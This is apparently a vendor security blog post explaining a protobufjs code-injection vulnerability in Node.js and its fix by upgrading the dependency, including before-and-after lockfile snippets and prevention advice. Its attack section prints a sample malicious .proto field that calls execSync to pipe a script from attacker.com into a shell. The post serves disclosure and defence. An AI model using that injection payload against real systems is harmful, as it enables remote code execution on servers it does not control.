Back to Blog
critical SEVERITY7 min read

How arbitrary code execution via injected protobuf definition type fields happens in Node.js and how to fix it

A critical arbitrary code execution vulnerability (CVE-2026-41242) was discovered in protobufjs versions prior to 7.5.5 and 8.0.1, allowing attackers to inject malicious code through crafted protobuf definition type fields. The fix upgrades the dependency from the vulnerable version 6.11.4 to 7.5.5, which properly sanitizes type field inputs during protobuf parsing. This vulnerability is especially dangerous because protobufjs is widely used in Node.js applications for serialization, meaning a s

O
By Orbis AppSec
Published July 23, 2026Reviewed July 23, 2026

Answer Summary

CVE-2026-41242 is a critical arbitrary code execution vulnerability in protobufjs (a Node.js Protocol Buffers library) caused by insufficient sanitization of type fields in protobuf definitions, mapped to CWE-94 (Code Injection). Attackers can craft malicious protobuf definitions with injected type field values that execute arbitrary code when parsed. The fix is to upgrade protobufjs from vulnerable versions (e.g., 6.11.4) to 7.5.5 or 8.0.1, which implement proper input validation on definition type fields.

Vulnerability at a Glance

cweCWE-94 (Improper Control of Generation of Code / Code Injection)
fixUpgrade protobufjs from 6.11.4 to 7.5.5 (or 8.0.1)
riskRemote attackers can execute arbitrary code on the server by supplying crafted protobuf definitions
languageJavaScript (Node.js)
root causeprotobufjs versions before 7.5.5/8.0.1 fail to sanitize type field values in protobuf definitions, allowing code injection during code generation
vulnerabilityArbitrary code execution via injected protobuf definition type fields

How Arbitrary Code Execution via Injected Protobuf Definition Type Fields Happens in Node.js and How to Fix It

Introduction

In a production Node.js application using @xenova/transformers and ONNX runtime (which depend on protobufjs for Protocol Buffers serialization), we discovered a critical arbitrary code execution vulnerability tracked as CVE-2026-41242. The vulnerable dependency, protobufjs version 6.11.4, was pinned in package-lock.json and served as the serialization backbone for model inference data.

The vulnerability exists in protobufjs's code generation pipeline — specifically in how it handles type field values within .proto definitions. When protobufjs generates JavaScript code from protobuf definitions, it interpolates type field names into generated code strings without adequate sanitization. An attacker who can influence the protobuf definitions being loaded (through user-uploaded .proto files, untrusted data sources, or supply chain attacks) can inject arbitrary JavaScript that executes during the parsing or code generation phase.

This matters for any Node.js developer using protobufjs — which includes anyone working with gRPC, ONNX models, TensorFlow.js, or any Protocol Buffers-based communication.

The Vulnerability Explained

Protocol Buffers (protobuf) is Google's language-neutral serialization format. The protobufjs library provides a pure JavaScript implementation for Node.js, including the ability to dynamically load .proto definition files and generate optimized encoder/decoder code at runtime.

The vulnerability lies in protobufjs's codegen module (@protobufjs/codegen). When processing protobuf message definitions, the library constructs JavaScript functions dynamically — essentially building code strings that include field type names. In version 6.11.4, these type field values were not properly sanitized before being interpolated into the generated code.

Here's the vulnerable dependency as it appeared in package-lock.json:

"node_modules/protobufjs": {
  "version": "6.11.4",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.4.tgz",
  "integrity": "sha512-5kQWPaJHi1WoCpjTGszzQ32PG2F4+wRY6BmAT4Vfw56Q2FZ4YZzK20xUYQH4YkfehY1e6QSICrJquM6xXZNcrw=="
}

How the Attack Works

Consider a scenario where the application processes protobuf definitions from an external source. An attacker crafts a malicious .proto file with a type field containing injected JavaScript:

message MaliciousMessage {
  optional foo.bar"; process.mainModule.require('child_process').execSync('curl attacker.com/shell.sh | sh'); // malicious_field = 1;
}

When protobufjs's codegen processes this definition, the type field value gets interpolated directly into a generated function body. The injected code breaks out of the string context and executes arbitrary commands — in this case, downloading and executing a reverse shell.

Real-World Impact for This Application

This application uses @xenova/transformers (version ^2.17.2) which depends on onnx-proto, which in turn requires protobufjs for parsing ONNX model files. The attack surface includes:

  1. Model loading: If the application loads ONNX models from user-provided sources or untrusted repositories, a crafted model file with malicious protobuf definitions could trigger code execution.
  2. Transitive dependency exploitation: Even if the application doesn't directly use protobufjs, the vulnerable version is loaded into the Node.js process and processes data during model inference initialization.
  3. Supply chain attacks: A compromised model or protobuf definition in a package registry could exploit this vulnerability in any downstream consumer.

The Fix

The fix involves two key changes to package-lock.json and package.json:

1. Adding a direct dependency on the patched version:

// package.json - Before
{
  "dependencies": {
    "@xenova/transformers": "^2.17.2",
    "axios": "^1.13.1",
    "dotenv": "^17.4.2",
    "openai": "^6.8.0"
  }
}

// package.json - After
{
  "dependencies": {
    "@xenova/transformers": "^2.17.2",
    "axios": "^1.13.1",
    "dotenv": "^17.4.2",
    "openai": "^6.8.0",
    "protobufjs": "^7.5.5"
  }
}

2. Upgrading the resolved version in package-lock.json:

// Before (vulnerable)
"node_modules/protobufjs": {
  "version": "6.11.4",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.4.tgz",
  "integrity": "sha512-5kQWPaJHi1WoCpjTGszzQ32PG2F4+wRY6BmAT4Vfw56Q2FZ4YZzK20xUYQH4YkfehY1e6QSICrJquM6xXZNcrw=="
}

// After (patched)
"node_modules/protobufjs": {
  "version": "7.5.5",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-7.5.5.tgz"
}

3. Isolating the legacy version for onnx-proto:

The fix also creates a nested node_modules resolution for onnx-proto, which still requires protobufjs ^6.8.8. This nested dependency gets version 6.11.6 (which also contains the patch):

"node_modules/onnx-proto/node_modules/protobufjs": {
  "version": "6.11.6",
  "resolved": "https://registry.npmjs.org/protobufjs/-/protobufjs-6.11.6.tgz",
  "integrity": "sha512-k8BHqgPBOtrlougZZqF2uUk5Z7bN8f0wj+3e8M3hvtSv0NBAz4VBy5f6R5Nxq/l+i7mRFTgNZb2trxqTpHNY/A==",
  "dependencies": {
    "@protobufjs/aspromise": "^1.1.2",
    "@protobufjs/base64": "^1.1.2",
    "@protobufjs/codegen": "^2.0.4",
    ...
  }
}

This approach ensures:
- The top-level protobufjs is the fully patched 7.5.5
- The onnx-proto sub-dependency uses 6.11.6 (patched within the 6.x line)
- No component in the dependency tree runs the vulnerable 6.11.4

Why This Fix Strategy Works

The core issue is that protobufjs 6.11.4's @protobufjs/codegen module constructs functions using string concatenation without escaping type field values. Version 7.5.5 (and 6.11.6 in the legacy line) adds proper sanitization that:

  1. Validates type field names against a strict allowlist of characters
  2. Escapes any special characters before interpolation into generated code
  3. Rejects definitions containing characters that could break out of the code generation context

By adding protobufjs as a direct dependency at ^7.5.5, npm's resolution algorithm ensures the patched version is used by default, while the nested resolution for onnx-proto provides backward compatibility with a patched 6.x version.

Prevention & Best Practices

  1. Pin and audit dependencies regularly: Use npm audit or tools like Trivy to catch known vulnerabilities in transitive dependencies. The vulnerable version was a transitive dependency — not directly declared — making it easy to miss.

  2. Never load untrusted .proto files: If your application processes protobuf definitions, treat them as code. Validate their source and integrity before loading.

  3. Use lockfile maintenance: Regularly update package-lock.json to pull in security patches. Automated tools like Dependabot or Orbis AppSec can handle this.

  4. Apply the principle of least privilege: Run Node.js applications with minimal system permissions so that even if code execution occurs, the blast radius is limited.

  5. Consider static protobuf compilation: Instead of loading .proto files at runtime, pre-compile them to static JavaScript modules during your build process. This eliminates the runtime codegen attack surface entirely.

  6. Monitor for prototype pollution and code injection in serialization libraries: Libraries that generate code from data (like protobufjs, handlebars, pug) are frequent targets for injection attacks.

Key Takeaways

  • Transitive dependencies are attack surface: The vulnerable protobufjs 6.11.4 was pulled in by onnx-proto@xenova/transformers, not directly declared. You must audit your entire dependency tree, not just direct dependencies.
  • Code generation from untrusted input is inherently dangerous: protobufjs's codegen module interpolates type field values into JavaScript function bodies — any library that generates code from data definitions needs rigorous input sanitization.
  • npm's nested resolution enables surgical fixes: By adding a direct dependency on protobufjs@^7.5.5 while allowing onnx-proto to resolve its own patched 6.11.6, both compatibility and security are maintained.
  • Version 6.11.4 specifically lacks type field sanitization in @protobufjs/codegen: If you see this exact version in any package-lock.json, it's vulnerable and must be upgraded.
  • ONNX model loading pipelines are an underappreciated attack vector: Applications using ML model inference in Node.js should treat model files with the same scrutiny as executable code.

How Orbis AppSec Detected This

  • Source: Protobuf definition type fields processed during ONNX model loading via @xenova/transformersonnx-protoprotobufjs
  • Sink: @protobufjs/codegen module's dynamic function generation in protobufjs@6.11.4, where type field values are interpolated into generated JavaScript code without sanitization
  • Missing control: No input validation or escaping of type field names before code generation string interpolation
  • CWE: CWE-94 (Improper Control of Generation of Code / Code Injection)
  • Fix: Upgraded protobufjs from 6.11.4 to 7.5.5 (top-level) and ensured nested dependency resolves to patched 6.11.6, adding proper type field sanitization in the codegen pipeline

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

CVE-2026-41242 demonstrates how a seemingly innocuous serialization library can become a critical attack vector when it generates code from data definitions without proper sanitization. The vulnerability in protobufjs affected any Node.js application in the dependency chain — from gRPC services to ML inference pipelines using ONNX models.

The fix was straightforward: upgrade to a patched version that sanitizes type field inputs before code generation. But the lesson is deeper — any library that constructs executable code from external data is a potential injection point. Audit your dependency trees, keep serialization libraries updated, and treat protobuf definitions with the same security scrutiny you'd apply to any code that runs in your process.

References

Frequently Asked Questions

What is arbitrary code execution via protobuf definition injection?

It's a vulnerability where an attacker crafts a malicious Protocol Buffers definition file (.proto) or message with specially crafted type field values that, when processed by protobufjs's code generation logic, result in arbitrary JavaScript code being executed on the server.

How do you prevent protobuf code injection in Node.js?

Keep protobufjs updated to version 7.5.5+ or 8.0.1+, never load untrusted .proto files, validate all protobuf definitions before processing, and use dependency scanning tools like Trivy to detect vulnerable versions.

What CWE is arbitrary code execution via code injection?

CWE-94 (Improper Control of Generation of Code, commonly called "Code Injection") covers vulnerabilities where an application constructs code using externally-influenced input without proper neutralization.

Is input validation alone enough to prevent protobuf code injection?

Input validation helps but is not sufficient on its own — the library itself must properly sanitize type fields during code generation. Upgrading to the patched version is the definitive fix since it addresses the root cause in the codegen pipeline.

Can static analysis detect protobuf code injection vulnerabilities?

Yes, tools like Trivy can detect known vulnerable versions of protobufjs through dependency scanning, and SAST tools can flag unsafe code generation patterns. However, detecting novel injection vectors in protobuf definitions requires specialized analysis of the library's internals.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #523

Related Articles

high

How command injection happens in Node.js child_process and how to fix it

A high-severity command injection vulnerability was discovered in `bootstrap.js` at line 34, where the `exec()` function was used to run shell commands constructed from a `folder` variable. By replacing `exec()` with `execFile()` and passing arguments as an array, the fix eliminates the shell interpolation entirely, closing the door on command injection attacks that could have affected all downstream consumers of this Node.js library.

high

How unsafe pickle deserialization happens in NumPy's np.load() and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `tools/ardy-engine/retarget.py` where `np.load()` was called with `allow_pickle=True`, enabling attackers to embed malicious pickle payloads in `.npz` files. The fix was a single-character change—switching `allow_pickle=True` to `allow_pickle=False`—that eliminates the deserialization attack vector while preserving the file's legitimate array data loading functionality.

high

How SSRF and Credential Leakage via Absolute URLs happens in axios and how to fix it

A high-severity vulnerability (CVE-2025-27152) in axios versions prior to 1.8.2 allowed Server-Side Request Forgery (SSRF) attacks and credential leakage when making HTTP requests with absolute URLs. This vulnerability was fixed by upgrading from axios 1.7.4 to 1.8.2 in both package.json and package-lock.json, eliminating the attack vector that could have exposed authentication tokens and enabled unauthorized server-side requests.

high

How pickle-based arbitrary code execution happens in PyTorch and how to fix it

A high-severity arbitrary code execution vulnerability was discovered in `scripts/export_joyvasa_audio.py` where `torch.load()` was called with `weights_only=False`, allowing any pickle-serialized Python object — including malicious code — to execute during checkpoint loading. The fix switches to `weights_only=True` and explicitly allowlists only the two non-standard classes the checkpoint actually requires: `argparse.Namespace` and `pathlib.PosixPath`. This closes a real code execution path tha

critical

How WebSocket protocol length header abuse happens in Node.js and how to fix it

A critical vulnerability (CVE-2026-54466) in websocket-driver versions prior to 0.7.5 allows attackers to corrupt WebSocket messages by manipulating protocol length headers. This can lead to data integrity issues, denial of service, or potentially arbitrary code execution in affected Node.js applications. The fix involves upgrading the websocket-driver dependency to version 0.7.5.

critical

How unsafe token deserialization happens in Node.js Temml parser and how to fix it

A critical vulnerability in the Temml math library's parser allowed unsafe token deserialization that could lead to remote code execution when processing user-supplied mathematical expressions. The fix adds strict type validation on fetched token properties before use, preventing exploitation of malformed or crafted payloads.